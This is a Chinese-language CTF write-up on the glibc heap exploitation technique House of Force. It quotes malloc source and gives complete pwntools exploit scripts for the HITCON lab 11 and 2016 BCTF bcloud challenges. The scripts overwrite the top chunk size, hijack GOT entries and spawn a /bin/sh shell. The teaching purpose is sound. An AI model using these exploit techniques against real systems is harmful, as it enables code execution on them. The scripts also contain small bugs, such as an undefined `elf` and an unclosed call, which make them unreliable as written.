House of Force
原理
glibc在空闲堆块无法满足要求的情况下会对top chunk进行操作,从它哪里得到新的满足用户需求的chunk块,House of Force的主要目标就是top chunk,我们如果可以控制top chunk的size的话就可以使得top chunk指向任何位置,实现任意写。
但是glibc在分配堆块的时候也存在检查,不过这个检查很好绕过,因为它并不是专门来检测违规操作的,可以通过源码了解一下。
victim = av->top; //av代表arena,这是获取当前的top chunk
size = chunksize(victim); //求出top chunk的size
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) //MINSIZE是chunk的最小size , nb是用户请求的chunk大小,这个检查的意思就是top chunk的size必须大于等于用户所需的chunk大小与chunk最小的size之和
{ //以下的都是chunk在分配时的具体操作。
remainder_size = size - nb; //求出剩余堆块的size
remainder = chunk_at_offset(victim, nb);
av->top = remainder; //把剩余的堆块当做top chunk
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
我们可以看出,唯一需要绕过的检查就是size的大小检查,我们在做house of force的时候必须把top chunk的size设置为很大的值,不过对于有堆溢出或者其他漏洞的程序来说,这个并不难。
一个很有用的做法就是把top chunk的size设置为-1,因为在malloc源码中,大部分都是unsinged 类型的数据,那么-1就会被当做这个类型的最大值从而轻松实现绕过。
remainder = chunk_at_offset(victim, nb); //通过原来的top chunk和要分配出去的chunk的size,通过偏移的方式找到新的top chunk的位置。
av->top = remainder; //把分配后的剩余堆块当做top chunk
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
/*设置top chunk的chunk_header*/
从上面代码我们就可以看出,如果我们绕过检查了,我们实际上是可以控制top chunk的,进而我们就实现了任意地址写。
不过我们需要注意的是用户输入的size和堆分配的chunk的大小其实是不一样的,用户输入的size会经过一个内部的checked_request2size运算:
glibc 2.23
#ifndef INTERNAL_SIZE_T
#define INTERNAL_SIZE_T size_t
#endif
......
#define REQUEST_OUT_OF_RANGE(req) \
((unsigned long) (req) >= \
(unsigned long) (INTERNAL_SIZE_T) (-2 * MINSIZE))
/* pad request bytes into a usable size -- internal version */
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
/* Same, except also perform argument check */
#define checked_request2size(req, sz) \
if (REQUEST_OUT_OF_RANGE (req)) { \
__set_errno (ENOMEM); \
return 0; \
} \
(sz) = request2size (req);
所以用户输入的size要经过运算使得 ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK得出的结果满足需求,这个结果才是相应的堆块的chunk_size.而且需要绕过REQUEST_OUT_OF_RANGE的检查,这个的意思就是你输入的负值必须比-2*MINSIZE小(记得分清负数谁大谁小奥),这个一般都不用担心,同时我们要特别注意的是地址的对齐(32位8字节对齐,64位16字节对齐),因为free一个堆块的时候会进行地址对齐的检查。
同时,因为对top chunk的chunk header的设置,我们会改写指向的目标地址附近的值,这一点可以看一下上面源码里的set_head。
总结
* 程序存在漏洞我们可以控制top chunk的size域,例如堆溢出,off-by-one这类
* 我们要可以自由的控制malloc的大小,因为像got表或者malloc_hook,free_hook,main_ret这些其实都和top chunk相隔甚远。
* 分配次数不能受限制(其实这个还好,很多ctf题目的这个条件都可以满足)
练习
HITCON training lab 11
我们先用checksec大体观察一下
[*] '/home/root0/pratice/pwn/ctf-challenges-master/pwn/heap/house-of-force/hitcontraning_lab11/bamboobox'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
可以看到只是开启了Canary 和 NX,下面分析一下程序。
这个是add_item函数,可以看出堆块存储的数据结构大致是这样的:
struct item
{
unsigned int size;
void *ptr;
}
然后一个结构体数组存放在bss段就构成了这个程序的主要堆块存取数据结构。
show函数就是通过变量结构体数组来把所有的堆块内容打印出来。
remove函数在free后把指针置0,同时也把size给置0了。
change函数存在明显的溢出漏洞,因为change的时候输入的size可以由用户自由控制,这就存在了堆溢出漏洞。
同时这个程序也存在后门magic()
利用方法
首先做好准备工作,哈哈。
def malloc(size,context):
r.recvuntil("choice:")
r.sendline("2")
r.recvuntil("name:")
r.sendline(str(size))
r.recvuntil("item:")
r.send(context)
def show():
r.recvuntil("choice:")
r.sendline("1")
def change(idx,size,context):
r.recvuntil("choice:")
r.sendline("3")
r.recvuntil("item:")
r.sendline(str(idx))
r.recvuntil("name:")
r.sendline(str(size))
r.recvuntil("item:")
r.send(context)
def free(idx):
r.recvuntil("choice:")
r.sendline("4")
r.recvuntil("item:")
r.sendline(str(idx))
按照上面讲的house of force,你就可以知道,我们只需要修改top chunk的size,然后算出用户申请多少size才能使得top chunk偏移到第一次申请的chunk处,然后我们改写改chunk的内容为为magic函数的地址来实现利用就可以了。
EXP
from pwn import *
r = process("./bamboobox")
def malloc(size,context):
r.recvuntil("choice:")
r.sendline("2")
r.recvuntil("name:")
r.sendline(str(size))
r.recvuntil("item:")
r.sendline(context)
def show():
r.recvuntil("choice:")
r.sendline("1")
def change(idx,size,context):
r.recvuntil("choice:")
r.sendline("3")
r.recvuntil("item:")
r.sendline(str(idx))
r.recvuntil("name:")
r.sendline(str(size))
r.recvuntil("item:")
r.sendline(context)
def free(idx):
r.recvuntil("choice:")
r.sendline("4")
r.recvuntil("item:")
r.sendline(str(idx))
free_got = elf.got["free"]
magic = 0x000000000400D49
malloc(0x30,"aa") #0
change(0,0x41,"a"*0x30 +p64(0)+ p64(0xffffffffffffffff))
offset = -(0x40 + 0x20)
malloc(offset - 8 -0xf,"aa")
malloc(0x10,p64(magic)*2)
r.recvuntil("choice:")
r.sendline("5")
print r.recv()
r.interactive()
看到exp有人可能会第二个malloc哪里为啥多减去一个0xf这个其实不是必须的,看上面的源码我们可以知道在计算chunk size的时候加上了MALLOC_ALIGN_MASK,这里其实就是减去这个值,不过不是必须的,因为后面的与操作在对齐chunk size的时候就帮我们减去之前加上的这个值了。
另外 MALLOC_ALIGN_MASK = 2 * SIZE_SZ - 1 , 所以在64位里面就是0xf了。
上面这个算是一个实验,下面来一个题目类型的。
2016_bctf_bcloud
就逆向分析而言这个题目并不复杂,下面我只是大致分析一下题目的关键部分。
首先用checksec查看一下大致情况
[*] '/home/root0/pratice/pwn/ctf-challenges-master/pwn/heap/house-of-force/2016_bctf_bcloud/bcloud'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
开启了NX和canary
从new_note()函数我们可以得知堆块存储的大致数据结构,两个bss段的数组分别对应着堆块的mem部分指针和用户输入的size,同时用issync数组来标记是否同步。
delete_note()函数同时对指针和size置0,并且释放堆块。
利用思路
首先我们需要泄露地址,这个地址泄露的漏洞不是很好发现哈。。
第一眼看上去没什么问题,不过在strcpy的时候如果我们写入了0x40个字符,我们在栈上的数据就会和下面的指针连在一起,由于strcpy依赖”\x00”进行截断,所以会把我们数据下紧邻的堆块指针也复制到堆块里面,这样在printf的时候就会造成地址泄露。
这样我们就成功泄露了heap的地址,另一个漏洞在于init_org_host()函数:
这个漏洞类似于上面泄露地址时候的,也是由于strcpy,同样,让我们看一下如果我们输入最大数据量时栈里面的情况:
可以看到aaaa所在的区域的”\x00”截断已经没有了,那么在执行strcpy的时候会在org_ptr处造成溢出,而org_ptr处的下面一个chunk就是top chunk,所以如果我们精心构造第一次和第二次的输入就可以改造top chunk了实现house of force了。
house of force
我们改写top chunk的size为-1,然后算出note_size数组和top chunk之间的偏移使得top chunk指向note_size的上方,然后把note_size和note_list申请出来就可以实现溢出,进而实现利用。
利用思路
改写note_size,和note_list(这个是最主要目标)来实现任意写,实现任意写之后getshell的方式有很多,这里我们改写free@got为puts_plt,其实就是puts函数的地址,这样我们在delete的时候就可以把note_list上面对应的指针所指向的内容读取出来,这里我们可以把atoi@got写到note_list上来实现地址泄露,泄露成功之后我们可以把system的实际地址写入到atoi@got里面,因为在读入的时候都会使用这个函数,同时这个函数的参数是一个指针,那么我们输入的”/bin/sh\x00”就会被当做system函数的参数,这样我们就可以实现getshell了。
EXP
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./bcloud"
libcversion = '2.23'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
r = process(exec_binary)
if context.arch == "i386":
libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
elif context.arch == "amd64":
libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
r = remote("")
def get_libc(addr,addr_name):
global libc,libcbase
libc = LibcSearcher(str(addr_name),addr)
libcbase = addr - libc.dump(addr_name)
def get_base(r):
text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
for key in r.libs():
if "libc.so.6" in key:
return text_base,r.libs()[key]
def debug(addr):
text_base,libc_base = get_base(r)
break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
break_point+="b *" + str(addr) + "\nc"
gdb.attach(r,break_point)
def confirm(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def malloc(size,context):
r.recvuntil("option--->>\n")
r.sendline("1")
r.recvuntil("ontent:\n")
r.send(str(size)+"\n")
r.recvuntil("ontent:\n")
r.send(context+"\n")
def free(idx):
r.recvuntil("option--->>\n")
r.sendline("4")
r.recvuntil("id:\n")
r.sendline(str(idx))
def edit(idx,content):
r.recvuntil("option--->>\n")
r.sendline("3")
r.recvuntil("id:\n")
r.sendline(str(idx))
r.recvuntil("content:\n")
r.send(content+"\n")
note_list = 0x804B120
note_size = 0x804B0A0
free_got = elf.got["free"]
puts_plt = elf.symbols["puts"]
atoi_got = elf.got["atoi"]
r.recvuntil("Input your name:\n")
r.send("a"*0x40)
r.recvuntil("a"*0x40)
heap_base = u32(r.recv(4)) - 0x8
confirm(heap_base)
top_chunk_addr = heap_base + 0x48 * 3
confirm(top_chunk_addr)
r.recvuntil("Org:\n")
r.send("a"*0x40)
r.recvuntil("Host:\n")
r.sendline(p32(0xffffffff))
offset = -(top_chunk_addr - note_size + 0x8)
confirm(offset)
malloc(offset-4-7,"aa")
payload = p32(16) * 3 + (note_list-note_size-12) * "a" + p32(free_got) + p32(atoi_got) * 2
malloc(1000,payload)
edit(0,p32(puts_plt))
free(1
atoi_addr = u32(r.recvuntil("\xf7"))
confirm(atoi_addr)
get_libc(atoi_addr,"atoi")
confirm(libcbase)
system_addr = libcbase + libc.dump("system")
confirm(system_addr)
edit(2,p32(system_addr))
r.recvuntil("option--->>\n")
r.sendline("/bin/sh\x00")
r.interactive()
相关参考:
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_force-zh/